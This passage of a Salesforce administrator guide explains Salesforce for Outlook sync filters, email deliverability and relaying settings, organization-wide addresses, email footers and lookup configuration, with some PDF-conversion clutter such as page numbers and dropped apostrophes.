After defining the filters, you can get a record count for your users in the Data Set Size section. To do so, enter a user, and then click Get Record Count. If your users still exceed sync limits for the filters you set up, you users may find that the sync process selects records in a random fashion. About Person Accounts If your organization enabled person accounts and your users have more than 5,000 records in Salesforce, data sets work in a different way. Specifically, Salesforce runs a query first on person accounts that match filter criteria, and then on contacts assigned to these accounts. So it's possible for the sync process to reach the 5,000 record limit (including person accounts and contacts) and not include some of the contacts your users would expect to sync.

See Also:
Entering Contact Filters for Salesforce for Outlook Entering Event Filters for Salesforce for Outlook Entering Task Filters for Salesforce for Outlook Checking the Size of Salesforce for Outlook Data Sets

Entering Contact Filters for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: To filter contacts by opportunity teams: To filter contacts by account teams: To create, edit, or delete data sets: View Setup and Configuration Manage Email Client Configurations Opportunity Team Selling Account Teams Sync Direction cant be Don't sync

Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit which records will sync. For example, you may want to let certain users sync all contacts, but let other users sync only contacts related to their opportunity teams. In addition, you can filter by the fields in the records, such as letting users sync only contacts related to specific accounts and opportunities. The Outlook Configuration detail page shows a summary of the configurations current filters. 1. Define a data set for a configuration. 2. Under Filter By Record Ownership, specify whether users can sync all contacts or only selected ones. 3. If you click Selected Contacts, you can further limit which contacts users can sync using these checkboxes. Contacts User's RecordsSyncs all contacts the user owns User's Team's RecordsSyncs all contacts owned by the user and the user's subordinates in the role hierarchy

1044

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

Contacts on Opportunities User's RecordsSyncs contacts related to the user's opportunities User's Team's RecordsSyncs contacts related to opportunities owned by the user and the user's subordinates in the role hierarchy User's Opportunity Teams' RecordsSyncs contacts related to opportunities the user is an opportunity team member of but not opportunities the user owns

Contacts on Accounts User's RecordsSyncs contacts related to the user's accounts User's Team's RecordsSyncs contacts related to accounts owned by the user and the user's subordinates in the role hierarchy User's Account Teams' RecordsSyncs contacts related to accounts the user is a team member of but not accounts the user owns

4. Under Filter By Additional Objects and Fields, add any field-level filters you need. a. Select an object and a field within that object. b. Select the correct filter operator. c. Enter a value for the selected field. 5. Click Add Row to add a new filter or Remove Row to delete the last one in the list. 6. Under Other Contacts to Include, make sure Sync contacts users follow in Chatter is selected if you want Chatter contacts to automatically sync for users of this configuration. 7. You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user based on the configuration's filters. Note: If you remove access to certain objects by deselecting the Selected Contacts checkboxes, filters for those objects will be marked with a warning icon indicating that they're no longer valid. All marked filters are removed when you save.

See Also:
Tips on Entering Salesforce for Outlook Contact Filters Defining Data Sets for Salesforce for Outlook Sample Salesforce for Outlook Data Sets Checking the Size of Salesforce for Outlook Data Sets

Tips on Entering Salesforce for Outlook Contact Filters


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Contact filters control the number of records that Salesforce for Outlook users can sync between Outlook and Salesforce. Note the following when using contact filters.

1045

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

The criteria you specify are AND based, so if you specify more than one criterion, the result includes only records that match all of the criteria. If entering a date, use the format allowed by your Locale setting. You can also use special date values like TODAY, NEXT WEEK, NEXT YEAR, LAST <number> DAYS, and so on. When searching for numbers or other data that includes commas, place quotation marks around the data. For example: Amount equals "10,000" returns records that have an amount of $10,000. When you use the less than, greater than, less or equal, or greater or equal operators on fields that have numeric values, records with blank or null values are returned as if their value is zero (0). To limit results to records that are blank or contain null values for a particular field, choose the field and the equals or not equal to operators, leaving the third field blank. For example, Amount equals returns records with blank amount fields. You can search for blank values or other specified values at the same time. For example, Amount equals 1,,2 returns records where the Amount is blank or contains the value 1 or 2. For example, if you create a workflow a filter for accounts with the criteria Annual Revenue less than 100000, account records match if their Annual Revenue is blank. To search for phone numbers, you might need to include the exact phone number formatting; for example, Phone starts with (561). To create a filter that includes more than one value, enter your search terms, separated by commas, in the corresponding field. You can enter up to 80 characters, including commas and spaces. For example, to search for accounts in California, New York, or Washington, use State contains CA, NY, WA. When you filter on standard long text area fields, such as Description, only the first 1000 characters of the field are searched. You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user based on the configuration's filters. If you need to reference user information in your contact filters, you can add the following merge fields to them. Merge Field
$User.ID

Description References the ID of the current user. This merge field can be applied to fields that contain a user lookup. The valid operators for this merge field are Equals and Not Equal To. When creating mobile view filters that reference an owner field, you can only use the $User.ID merge field. References the username of the current user. This merge field can be applied to any text or lookup field, except picklists. The valid operators for this merge field are Equals, Not Equal To, Greater Than or Equal, Less Than or Equal, Contains, Does Not Contain, and Starts With. References the first name of the current user. This merge field can be applied to any text or lookup field, except picklists. The valid operators for this merge field are Equals, Not Equal To, Greater Than or Equal, Less Than or Equal, Contains, Does Not Contain, and Starts With. References the last name of the current user. This merge field can be applied to any text or lookup field, except picklists. The valid operators for this merge field are Equals, Not Equal To, Greater Than or Equal, Less Than or Equal, Contains, Does Not Contain, and Starts With.

$User.Username

$User.Firstname

$User.Lastname

1046

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

Merge Field
$User.Fullname

Description References the first and last name of the current user. This merge field can be applied to any text or lookup field, except picklists. The valid operators for this merge field are Equals, Not Equal To, Greater Than or Equal, Less Than or Equal, Contains, Does Not Contain, and Starts With.

See Also:
Entering Contact Filters for Salesforce for Outlook Defining Data Sets for Salesforce for Outlook Checking the Size of Salesforce for Outlook Data Sets

Entering Event Filters for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: To create, edit, or delete data sets: View Setup and Configuration Manage Email Client Configurations Sync Direction cant be Don't sync

Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit which records will sync. For example, most users may sync only current and future events, while some users may need to also sync past events. Salesforce for Outlook syncs events based on their end dates rather than their start dates. For example, if youre syncing current and future events only, a two-day event that started yesterday still syncs. The Data Sets section of the Outlook Configuration detail page shows a summary of the configuration's current event filters. 1. Define a data set for a configuration. 2. Under Events, enter one of these filters in the Greater or equal to field.
TODAYSyncs events that end on or after today. The start time is 12:00 a.m. LAST MONTHSyncs events that ended on or after the first day of last month. LAST N DAYSSyncs events that ended on or after a specified number of days ago, such as LAST 30 DAYS.

3. You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user based on the configuration's filters. 4. Save the data set.

1047

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

Note: The following items dont sync: all-day events beginning on the first day youre configured to sync, and event attendees. Multiday events sync as single events in either direction. Multi-day events do sync.

See Also:
Sample Salesforce for Outlook Data Sets Syncing Events with Salesforce for Outlook Checking the Size of Salesforce for Outlook Data Sets

Entering Task Filters for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: To create, edit, or delete data sets: View Setup and Configuration Manage Email Client Configurations Sync Direction cant be Don't sync

Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit which records will sync. For example, most users may sync past-due tasks, while other users sync only current and future tasks. Salesforce for Outlook syncs tasks based on their due dates rather than their start dates. For example, if you're syncing current and future tasks only, a task that started yesterday still syncs. The Data Sets section of the Outlook Configuration detail page shows a summary of the configuration's current task filters. To enter task filters: 1. Define a data set for a configuration. 2. Under Tasks, enter one of these filters in the Greater or equal to field.
TODAYSyncs tasks that are due on or after today. The start time is 12:00 a.m. LAST MONTHSyncs tasks that were due on or after the first day of last month. LAST N DAYSSyncs tasks that were due on or after a specified number of days ago, such as LAST 30 DAYS.

3. You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user based on the configuration's filters. 4. Save the data set.

1048

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

Note: Recurring tasks and items flagged for follow-up on your Outlook To-Do list don't sync.

See Also:
Sample Salesforce for Outlook Data Sets Syncing Tasks with Salesforce for Outlook Salesforce for Outlook Configurations Overview

Sample Salesforce for Outlook Data Sets


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Because Salesforce for Outlook users with the same role usually have similar data requirements, many administrators create Outlook configurations based on the positions in their organization. Below are sample data sets for common Salesforce groups. Your Outlook users have unique needs, but you can use these examples as a reference to help you get started with Outlook configurations. Sales Manager Sales managers usually need to see records they own and the records of the users who report to them. In addition, they need to see the latest contact information for anyone associated with large deals in the pipeline and any upcoming meetings that might be related to these deals. They may also like to have their Chatter contacts in Outlook. Sample Outlook Configuration for Sales Managers:
Contacts Contacts: User's Records, User's Team's Records Contacts on Opportunities: User's Team's Records Contacts on Accounts: User's Team's Records Contacts in Chatter: Records User is Following Events Events: User's Records Date greater or equal TODAY Tasks Tasks: User's Records Date greater or equal TODAY

Sales Engineer Sales Engineers often only need the contacts owned by them and the other members of their opportunity teams. They may also want their Chatter contacts, a record of the past month's meetings, and a schedule of all future meetings. Sample Outlook Configuration for Sales Engineers:
Contacts Contacts: User's Records Contacts on Opportunities: User's Opportunity Teams' Records Contacts in Chatter: Records User is Following

1049

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

Events Events: User's Records Date greater or equal LAST MONTH Tasks Tasks: User's Records Date greater or equal LAST MONTH

Account Executive Account executives need to see contacts related to their accounts and opportunities. The opportunities are filtered so only contacts related to open opportunities with a probability over 40% sync. They'd also like to sync their Chatter contacts, all future meetings, and all meetings from the last two months. Sample Outlook Configuration for Account Executives:
Contacts Contacts on Opportunities: User's Records (Probability (%) greater than 40) AND (Stage not equal to Closed Won,Closed Lost Contacts on Accounts: User's Records Contacts in Chatter: Records User is Following Events Events: User's Records Date greater or equal LAST 60 DAYS Tasks Tasks: User's Records Date greater or equal LAST 60 DAYS

See Also:
Defining Data Sets for Salesforce for Outlook Entering Contact Filters for Salesforce for Outlook Entering Event Filters for Salesforce for Outlook Entering Task Filters for Salesforce for Outlook

Checking the Size of Salesforce for Outlook Data Sets


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view Outlook data sets: To test Outlook data sets: View Setup and Configuration Manage Email Client Configurations

You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user based on the configuration's filters. If the numbers are too high or low, you can adjust the filters and check the size again. The maximum record count is 5000 per object.

1050

Email Administration

Configuring Deliverability Settings

1. Define a data set for a configuration. 2. Under Data Set Size, click the lookup icon next to the User field. 3. Select a user. To test maximum size, choose a user who owns a lot of records, even one who may not be currently assigned to the configuration. 4. Click Get Record Count. The number of records that would sync between Outlook and Salesforce for that user appear. 5. Adjust the filters or selected user and retest the data set as needed. Nothing is saved until you click Save.

See Also:
Defining Data Sets for Salesforce for Outlook

EMAIL ADMINISTRATION
Configuring Deliverability Settings
Available in: All Editions except Database.com

User Permissions Needed To configure email deliverability: Customize Application

To improve the deliverability of email you send from Salesforce, configure your organization's email deliverability settings. Email deliverability is the likelihood of a companys or individuals email reaching its intended recipient. This likelihood is adversely affected by: Bounced email Email that is addressed to an invalid recipient and returned to the sender. If a sender sends several email messages that bounce, the email server might slow or block the delivery of all email from that sender. Noncompliant email Email that does not comply with a recipient's email security framework, such as the Sender Policy Framework (SPF), which verifies that the From address in an email message is not forged. Warning: If you plan to activate both bounce management and email relaying, check with your email administrator to ensure that your organization's email server allows the relaying of email sent from salesforce.com; otherwise, the email you send from Salesforce may not get delivered. For information on email relaying, see Setting Up Email Relaying on page 1055. To configure the email deliverability settings for your organization: 1. Click Your Name > Setup > Email Administration > Deliverability.

1051

Email Administration

Configuring Deliverability Settings

2. Select the Activate bounce management checkbox to help ensure that the email addresses you have for your contacts, leads, and person accounts are correct, and that the email your users send to those addresses is not impeded due to excessive email bounces. When bounce management is activated and a user sends an email to a contact, lead, or person account with an invalid email address, Salesforce displays an alert next to that email address and prevents users from sending email to the address until it is updated or confirmed. Also, the email bounces to Salesforce instead of the sender's personal email account. Tip: Use the Bounced Contacts and Bounced Leads standard reports to view a list of email all addresses that have bounced email. The report includes the reason the email was bounced, the date the bounce occurred, and the contact, lead, or person account that bounced the email. See Reporting on Salesforce Data on page 3059 for more information. 3. Select the Show bounce alert next to all instances of the email address checkbox to configure Salesforce to search all lead, contact, and person account records for instances of any email address that bounces an email and to display a bounce alert next to each instance. If you do not select this option, Salesforce only displays the bounce alert on the record from which the email was originally sent. 4. Select the Return bounced email to sender checkbox to configure Salesforce to send a copy of the bounced email header to the sender. If you do not select this option, only Salesforce receives the bounced email header. In either case, for security purposes Salesforce does not return the body of the bounced email to the sender. This option applies to all users in your organization and cannot be enabled per user or per email. 5. Select the Enable compliance with standard email security mechanisms checkbox to automatically modify the envelope From address of every email you send from Salesforce to comply with email security frameworks that your recipients might implement, such as SPF. Many recipient email systems enforce SPF to verify whether an email is legitimate. SPF checks the envelope From address of an inbound email to verify legitimacy. If this feature is enabled, Salesforce changes the envelope From address to a salesforce.com email address to verify the sender's legitimacy. The header From address remains set to the sender's email address. Note: For more information on SPF, see www.openspf.org.

6. Select the Enable Sender ID compliance checkbox to comply with the Sender ID framework. This will automatically populate the Sender field in the envelope of every email you send from Salesforce with no-reply@salesforce.com. This enables receiving mail servers using the Sender ID email authentication protocol to verify the sender of an email by examining the Sender and From headers of an inbound email through a DNS lookup. All replies will still be delivered to the sender's email address. If you do not select this checkbox, the Sender field is set to null and email delivery fails when a recipient email system performs a Sender ID check. Note: We recommend enabling Sender ID compliance only if you have recipients using the Sender ID email authentication protocol, which isnt widely used. If you enable Sender ID compliance, the recipient's email client (not Salesforce) may append the phrase Sent on behalf of to the From field of email received from Salesforce. For more information on Sender ID, see www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx.

7. If you want Salesforce to send users a status email when their mass emails are complete, select Notify sender when mass email completes.

1052

Email Administration

Enabling Compliance BCC Emails

8. To specify how Salesforce uses the Transport Layer Security (TLS) protocol for secure email communication for SMTP sessions, choose one of the following:
Preferred (default): If the remote server offers TLS, Salesforce upgrades the current SMTP session to use TLS. If

TLS is unavailable, Salesforce continues the session without TLS. Required: Salesforce continues the session only if the remote server offers TLS. If TLS is unavailable, Salesforce terminates the session without delivering the email. Preferred Verify: If the remote server offers TLS, Salesforce upgrades the current SMTP session to use TLS. Before the session initiates, Salesforce verifies the certificate is signed by a valid certificate authority, and that the common name presented in the certificate matches the domain or mail exchange of the current connection. If TLS is available but the certificate is not signed or the common name does not match, Salesforce disconnects the session and does not deliver the email. If TLS is unavailable, Salesforce continues the session without TLS. Required Verify: Salesforce continues the session only if the remote server offers TLS, the certificate is signed by a valid certificate authority, and the common name presented in the certificate matches the domain or mail exchange to which Salesforce is connected. If any of these criteria are not met, Salesforce terminates the session without delivering the email. Note: If you select a setting other than Preferred (the default setting), select Restrict TLS to these domains and specify a comma-separated domain list. The asterisk (*) wildcard is allowed; for example, *.subdomains.com matches john@aco.subdomains.com and john@bco.subdomains.com (but not john@subdomains.com). If you don't specify domains, Salesforce uses the TLS setting you specify for all outbound emails, which may result in emails not being delivered.

9. Click Save.

See Also:
Sending Email Enabling Compliance BCC Emails Setting Up Email Relaying Testing Deliverability

Enabling Compliance BCC Emails


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable or disable compliance BCC email: Customize Application

If your organization evaluates all outbound email messages for compliance, you can enable compliance BCC emails to automatically send a hidden copy of each outbound email message to an email address you specify. Enabling compliance BCC emails prevents users from editing the BCC field on any email and disables their Automatic Bcc setting under My Email Settings. To enable compliance BCC emails for your organization:

1053

Email Administration

Testing Deliverability

1. 2. 3. 4.

Click Your Name > Setup > Email Administration > Compliance BCC Email. Select the Enable checkbox. Enter your compliance email address. Click Save. Note: The BCC email is automatically sent to the address you specify for any emails your users send, excluding system emails such as password reset or import completion notifications.

See Also:
Configuring Deliverability Settings Setting Up Email Relaying Testing Deliverability

Testing Deliverability
Available in: All Editions except Database.com

User Permissions Needed To test email deliverability: Modify All Data

Salesforce sends email from 52 different IP addresses. If your organization blocks any of these IP addresses, users might not receive all email sent from Salesforce. To verify your organization can receive email from every Salesforce IP address: 1. Click Your Name > Setup > Email Administration > Test Deliverability. 2. Enter your business email address. 3. Click Send. Salesforce simultaneously sends a test message from all 52 IP addresses to your business email address. Each test message specifies the IP address from which it was sent. 4. Check your business email account to make sure it received all 52 test messages. If you received less than 52 test messages, your organization's email administrator must whitelist the Salesforce IP ranges on your organization's email server. Whitelisting an IP address allows the email server to receive email from an IP address that might otherwise be blocked. The Salesforce IP ranges are: 96.43.144.64 to 96.43.144.65 96.43.148.64 to 96.43.148.65 182.50.78.64 to 182.50.78.79 204.14.232.64 to 204.14.232.79 204.14.234.64 to 204.14.234.79

1054

Email Administration

Setting Up Email Relaying

Note: If your organization activates email relaying, your email administrator only needs to whitelist the IP addresses Salesforce uses for email relaying (96.43.144.65, 96.43.148.65, 182.50.78.65, 204.14.232.65, and 204.14.234.65). For information on email relaying, see Setting Up Email Relaying on page 1055. Salesforce.com maintains separate IP addresses for inbound and outbound email. The IP addresses used for outbound email dont accept inbound email connections.

See Also:
Configuring Deliverability Settings Enabling Compliance BCC Emails

Setting Up Email Relaying


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To configure email relaying: Modify All Data

Email relaying is using an email server to send email that did not originate on the email server. Companies set up email relaying to: Route all email through their own email servers to avoid the appearance of email spoofing by Salesforce. Email spoofing is the forging of email headers to make messages appear as if they came from someone other than the original sender. Store copies of all email as required by government regulations in various industries. Apply existing content filters that scan messages for data and content that is not approved to be sent out through company email. Run outbound email through antivirus software before sending it to customers. Append data such as company-wide disclaimers at the bottom of email messages.

You can set up email relaying for Salesforce-generated email by configuring Salesforce to automatically route email through your company's Simple Mail Transfer Protocol (SMTP) server. Contact salesforce.com to enable email relaying for your organization. Warning: If you plan to activate both bounce management and email relaying, check with your email administrator to ensure that your organization's email server allows the relaying of email sent from salesforce.com; otherwise, the email you send from Salesforce may not get delivered. For more information on bounce management, see Configuring Deliverability Settings on page 1051. To set up email relaying: 1. Click Your Name > Setup > Email Administration > Email Relay Activation. 2. Configure the following settings:

1055

Email Administration

Setting Up Email Relaying

Setting
Email Host

Description The host name or IP address of your company's SMTP server. Obtain this information from your email administrator. Important: If you plan to use Transport Layer Security (TLS) with this connection, enter the host name instead of the IP address. TLS requires the host name for verifying certificates. For host names, use the following format:
<mail server>.<domain>.<domain extension>

For example:
mail.acme.com

Port

The port number of your company's SMTP server. Obtain this information from your email administrator. Email relaying is supported on port numbers 25, 587, 10025, and 11025. Specifies whether Salesforce uses TLS for SMTP sessions. Select one of the following options: Preferred (default): If the remote server offers TLS, Salesforce upgrades the current SMTP session to use TLS. If TLS is unavailable, Salesforce continues the session without TLS. Required: Salesforce continues the session only if the remote server offers TLS. If TLS is unavailable, Salesforce terminates the session without delivering the email. Preferred Verify: If the remote server offers TLS, Salesforce upgrades the current SMTP session to use TLS. Before the session initiates, Salesforce verifies the certificate is signed by a valid certificate authority, and that the common name presented in the certificate matches the domain or mail exchange of the current connection. If TLS is available but the certificate is not signed or the common name does not match, Salesforce disconnects the session and does not deliver the email. If TLS is unavailable, Salesforce continues the session without TLS. Required Verify: Salesforce continues the session only if the remote server offers TLS, the certificate is signed by a valid certificate authority, and the common name presented in the certificate matches the domain or

TLS Setting

1056

Email Administration

Organization-Wide Addresses

Setting

Description mail exchange to which Salesforce is connected. If any of these criteria are not met, Salesforce terminates the session without delivering the email.

Restrict Relay to Domains

Specifies whether to restrict the email relaying functionality to certain domains. If you select this option, enter the names of those domains separated by commas in the text field below. (The asterisk (*) wildcard is allowed; for example, *.subdomains.com matches john@aco.subdomains.com and john@bco.subdomains.com (but not john@subdomains.com)). This causes Salesforce to route email to your company's SMTP server only if the email is addressed to one of the listed domains. If you select the checkbox but do not list any domains, Salesforce routes all email to your company's SMTP server. Enables email relaying for your organization. If you deselect this checkbox, Salesforce keeps the email relay configuration but does not route email to your company's email server.

Active

3. Click Save. Salesforce recommends sending a test message each time you change the email relay configuration.

See Also:
Configuring Deliverability Settings Enabling Compliance BCC Emails Testing Deliverability

Organization-Wide Addresses
Available in: All Editions except Database.com

User Permissions Needed To configure organization-wide addresses: Modify All Data

If your organization requires users to share a common email alias, you can define a list of organization-wide addresses for each user profile. Organization-wide addresses define a common email address that a user profile can use. When sending email from Salesforce, users with these profiles can choose a different From address than the email address they have defined. Replies are delivered to the organization-wide address.

1057

Email Administration

Organization-Wide Addresses

For example, assume your organization has several users under a single Support Profile. A Support Profile can be associated with an email address called support@acme.com and a Display Name of Acme Support. When Support Profile users send an outbound email through Salesforce, they can choose to have their From address appear as support@acme.com instead of their own Salesforce email address. The highlighted sections in the following image represents the changes to the From address and Display Name that the recipient of an email might see:

After an organization-wide address is verified, it is available as a From address when sending an email or an email alert. To display the list of defined organization-wide addresses, click Your Name > Setup > Email Administration > Organization-Wide Addresses. From this page you can: Click Add to create a new organization-wide address. Click Edit to change any of the fields associated with the alias:
Display Name is the word or phrase users who receive your email will see as the sender of the email. Email Address is the email address that is used when sending an outbound email. Allowed Profiles lists the profiles which use the email address as an alias. Status shows the current stage of verification. When you add a new organization-wide address, it must be verified

as a valid email address before becoming available for use. If you have not received your verification email, click Resend to have another one sent. Click Del to remove the alias. Note: You cannot use an organization-wide address to send a mass email or a Stay-in-Touch request. You cannot delete or change an organization-wide email address if it is used by an email alert.

See Also:
User Profiles Overview Managing Organization-Wide Email Footers

1058

Email Administration

Defining Organization-Wide Addresses

Defining Organization-Wide Addresses


Available in: All Editions except Database.com

User Permissions Needed To configure organization-wide addresses: Modify All Data

To define an organization-wide address for a user profile: 1. Click Your Name > Setup > Email Administration > Organization-Wide Addresses. 2. Click Add. 3. Enter a Display Name. The display name identifies how your name appears on outbound emails. The maximum length is 300 characters. 4. Enter the Email Address you would like to use as an alias. This can be any standard email address. The maximum length is 270 characters. 5. Select Allow All Profiles to Use this From Address if you want every user profile in your organization to be able to use the new From address. Otherwise, select Allow Only Selected Profiles to Use this From Address to choose from existing user profiles. 6. Click Save to save your changes, or Save and New to define another organization-wide address. A verification email is sent to the new email address which includes a link that you click to complete the verification process. The From address will not be available for use until you access the email and click this link. Click Cancel to return to the previous page without saving. Note: You cannot delete or change an organization-wide email address if it is used by an email alert.

To use an organization-wide address, send an email or set up an email alert, and choose your organization-wide address from the drop-down list.

See Also:
User Profiles Overview

1059

Email Administration

Enabling Email to Salesforce

Enabling Email to Salesforce


Available in: All Editions except Database.com

User Permissions Needed To enable or disable Email to Salesforce: Modify All Data

If you use a company-provided or third-party email account, you can use Email to Salesforce to assign emails to leads, contacts, opportunities, and other records in Salesforce. When composing, forwarding, or replying to email, simply enter your Email to Salesforce address in the BCC field or any recipient field. Salesforce receives a copy of the email and, depending on your configuration, adds it to either the Activity History related list of the matching records or to the My Unresolved Items page, where you can manually assign it. To enable Email to Salesforce for your organization: 1. 2. 3. 4. Click Your Name > Setup > Email Administration > Email to Salesforce. Click Edit. Select the Active checkbox. Optionally, select the Advanced Email Security Settings checkbox to configure Email to Salesforce to verify the legitimacy of the sending server before processing a message. Email to Salesforce uses the following authentication protocols to verify the sender's legitimacy: SPF SenderId DomainKeys

If the sending server passes at least one of these protocols and does not fail any protocols, Email to Salesforce accepts the email. If the server fails a protocol or does not support any of the protocols, Email to Salesforce ignores the email. Tip: Before selecting the Advanced Email Security Settings checkbox, ensure that the senders you expect to use Email to Salesforce support at least one of the authentication protocols listed above. 5. Click Save. 6. Optionally, click Send Notification Email to notify users that Email to Salesforce is activated, or click Skip This Step. After enabling Email to Salesforce, Salesforce creates a unique Email to Salesforce address for each user. Users can click Your Name > Setup > Email > My Email to Salesforce to view their unique Email to Salesforce address and customize their settings. For more information, see Guidelines on Using Email to Salesforce on page 267.

See Also:
What are Email Services? Using Gmail in Salesforce Guidelines on Using Email to Salesforce

1060

Email Administration

Deleting Email Attachments Sent as Links

Deleting Email Attachments Sent as Links


Available in: All Editions except Database.com

User Permissions Needed To delete email attachments sent as links: Modify All Data

You can find and delete attachments sent as links. Recipients who subsequently click on the attachment link see a message asking them to contact the email sender to view the attachment. You can search only within your organizations email retention period (typically 30 days, but contact salesforce.com Support for your organizations details). To find and delete email attachments sent as links: 1. Click Your Name > Setup > Email Administration > Attachments Sent as Links 2. Enter either of these: File name (optional), username, and date range: Optionally, attachment file name, including the file extension (for example, ThisYearResults.pdf). You can use wildcards (for example, ThisYearRes would find ThisYearResults.pdf). Sender's username Date range during which the email was sent Attachment URL: Click the attachment link (.html) in the email to open it in a browser, and copy and paste the URL.

3. Click Search. Search results show up to 100 matching entries. If the attachment was sent using mass email, search results show one entry for every 100 emails sentdelete one of these entries to delete the attachment.

4. In Search Results, click Del next to the attachment you want to delete. Recipients who subsequently click on the attachment link see a message asking them to contact the email sender to view the attachment. Note: You cannot recover deleted attachments from the Recycle Bin.

See Also:
Sending Email Sending Mass Email

1061

Email Administration

Managing Organization-Wide Email Footers

Managing Organization-Wide Email Footers


Available in: All Editions except Database.com

User Permissions Needed To create and edit email footers: Modify All Data

You can create personalized footers or disclaimers that appear at the bottom of all outgoing email messages sent from Salesforce or the API. You can create a separate email footer for each encoding and choose default footers for single and mass email. The defaults are used when no footer matches an outgoing email's encoding.

Creating Email Footers


1. 2. 3. 4. 5. Click Your Name > Setup > Email Administration > Email Footers. Click New. Enter a name. Choose if you want the footer to be available for single emails, mass emails, or both. Select the email encoding. The email encoding determines which emails the footer appears on. For each encoding you can have one active single email footer and one active mass email footer. 6. Enter the text of the footer. Note: Footers are text only; HTML tags aren't rendered. Maximum is 32 KB.

Editing Email Footers


1. Click Your Name > Setup > Email Administration > Email Footers. 2. To edit an email footer, either click Edit next to a footer or on the footer detail page. 3. Edit the footer information and click Save.

Choosing Default Email Footers


You can choose one default footer for single email and one for mass email. These defaults are used when no footer matches an outgoing email's encoding. 1. Click Your Name > Setup > Email Administration > Email Footers. 2. Using Default for Single Mail and Default for Mass Mail, select default footers. 3. Click Save. Note: If you don't click Save, your default footer choice is lost when you leave the page.

Deactivating Email Footers


You can deactivate an email footer without deleting it.

1062

Search and Tags

Customizing Users' Search Results Filters

1. Click Your Name > Setup > Email Administration > Email Footers. 2. Uncheck the Single and Mass checkboxes next to the footer. 3. Click Save.

SEARCH AND TAGS


Customizing Users' Search Results Filters
Available in: All Editions except Database.com

User Permissions Needed To change search layouts: Customize Application

To customize an object's search results filters for all users: 1. 2. 3. 4. On the Search Results page, in an object's related list, click Customize... > Filters for All Users. To choose columns, use Add and Remove. To reorder columns, use Up and Down. Click Save.

See Also:
Search Results Customizing Search Results Columns

Configuring Lookups
Available in: All Editions except Database.com

Administrators can configure lookups by: Enabling enhanced lookups Specifying lookup filter fields Enabling lookup auto-completion

1063

Search and Tags

Configuring Lookups

Creating lookup filters that limit the valid values and lookup dialog results for the relationship field

See Also:
Lookup Dialog Search

Enabling Enhanced Lookups


Available in: All Editions except Database.com

User Permissions Needed To enable enhanced lookups: Customize Application

Enable enhanced lookups so users can use wildcards in their lookups and sort, filter, and page through their results. 1. Click Your Name > Setup > Customize > Search > Search Settings. 2. In the Lookup Settings area, select the objects for which you want to enable enhanced lookup functionality. Currently, only account, contact, user, and custom object lookups can use this feature. 3. Click Save. After enabling enhanced lookups, specify which fields users can use to filter lookup search dialog results. If you don't specify any fields, your users can't use filters in enhanced lookup dialogs. Note: If you enable enhanced lookups in your organization, it is also enabled for any Visualforce pages you create.

See Also:
Configuring Lookups

Specifying Lookup Filter Fields


Available in: All Editions except Database.com

User Permissions Needed To specify lookup filter fields: Customize Application

After enabling enhanced lookups, specify which fields users can use to filter lookup search dialog results. If you don't specify any fields, your users can't use filters in enhanced lookup dialogs.

1064

Search and Tags

Configuring Lookups

1. Take the action for the type of object you want. For accounts, contacts, or users: a. Click Your Name > Setup > Customize. b. Select Accounts, Contacts, or Users. c. Click Search Layouts. For custom objects: a. Click Your Name > Setup > Create > Objects. b. Click the name of the object you want. c. Scroll to the Search Layouts related list. 2. Click Edit next to the Lookup Filter Fields layout. 3. Use the arrows to add or remove fields from the layout and to define the order in which the fields should display. You can add up to six filter fields to the Selected Fields list. To select more than one field, use CTRL+click, or SHIFT+click to select multiple items in a range. 4. Click Save.

See Also:
Lookup Dialog Search Configuring Lookups

Enabling Lookup Auto-Completion


Available in: All Editions except Database.com

User Permissions Needed To enable lookup auto-completion: To use lookup auto-completion: Customize Application Edit on the record that includes the lookup field

With lookup auto-completion, users can select items from a dynamic list of matching, recently used records when editing a lookup field. Lookup auto-completion is available on account, contact, user, and custom object lookups. To enable it: 1. Click Your Name > Setup > Customize > Search > Search Settings. 2. In the Search Settings area, select the object lookups for which you want to enable auto-completion. Currently, only account, contact, user, and custom object lookups can use this feature. 3. Click Save.

See Also:
Configuring Lookups

1065

Search and Tags

Managing Salesforce Knowledge Synonyms

Managing Salesforce Knowledge Synonyms


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and delete synonym groups: Manage Synonyms

